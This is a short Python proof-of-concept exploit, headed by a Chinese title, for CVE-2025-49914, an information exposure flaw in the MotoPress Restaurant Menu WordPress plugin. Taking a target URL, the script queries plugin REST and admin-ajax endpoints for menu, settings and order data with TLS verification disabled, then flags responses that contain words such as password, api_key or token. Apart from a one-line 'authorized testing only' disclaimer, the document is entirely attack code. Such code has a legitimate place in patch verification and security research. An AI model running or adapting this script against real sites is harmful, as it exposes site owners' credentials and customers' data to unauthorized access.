CVE-2025-49914 MotoPress餐厅菜单插件敏感信息泄露漏洞

#!/usr/bin/env python3 """ CVE-2025-49914 PoC - MotoPress Restaurant Menu Sensitive Information Exposure Usage: python3 cve-2025-49914_poc.py <target_url> Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import json def exploit_cve_2025_49914(target_url): """Exploit for CVE-2025-49914 - Sensitive Information Exposure""" # Target endpoints that may expose sensitive data endpoints = [ '/wp-json/mp-restaurant-menu/v1/menu', '/wp-json/mp-restaurant-menu/v1/settings', '/wp-json/mp-restaurant-menu/v1/orders', '/?rest_route=/mp-restaurant-menu/v1/menu', '/?rest_route=/mp-restaurant-menu/v1/settings', '/wp-admin/admin-ajax.php?action=mp_restaurant_menu_get_data' ] print(f'[*] Target: {target_url}') print(f'[*] Exploiting CVE-2025-49914...') print('-' * 60) for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f'\n[*] Testing endpoint: {endpoint}') try: # GET request to retrieve potentially sensitive data response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: try: data = response.json() print(f'[+] Potential sensitive data found at {endpoint}') print(f'[+] Response preview: {json.dumps(data, indent=2)[:500]}') # Check for sensitive keywords in response sensitive_keywords = ['api_key', 'password', 'secret', 'token', 'credential', 'db_', 'key'] response_str = json.dumps(data).lower() for keyword in sensitive_keywords: if keyword in response_str: print(f'[!!] WARNING: Sensitive keyword "{keyword}" detected in response!') except json.JSONDecodeError: print(f'[+] Non-JSON response (length: {len(response.text)})') if 'password' in response.text.lower() or 'api_key' in response.text.lower(): print('[!!] WARNING: Potential credentials in response!') elif response.status_code == 401 or response.status_code == 403: print(f'[-] Endpoint requires authentication: {response.status_code}') else: print(f'[-] Endpoint returned: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Error accessing {endpoint}: {e}') print('\n[*] Scan complete. Check results above for sensitive data exposure.') if __name__ == '__main__': if len(sys.argv) != 2: print(f'Usage: python3 {sys.argv[0]} <target_url>') print('Example: python3 cve-2025-49914_poc.py http://example.com') sys.exit(1) target = sys.argv[1] exploit_cve_2025_49914(target)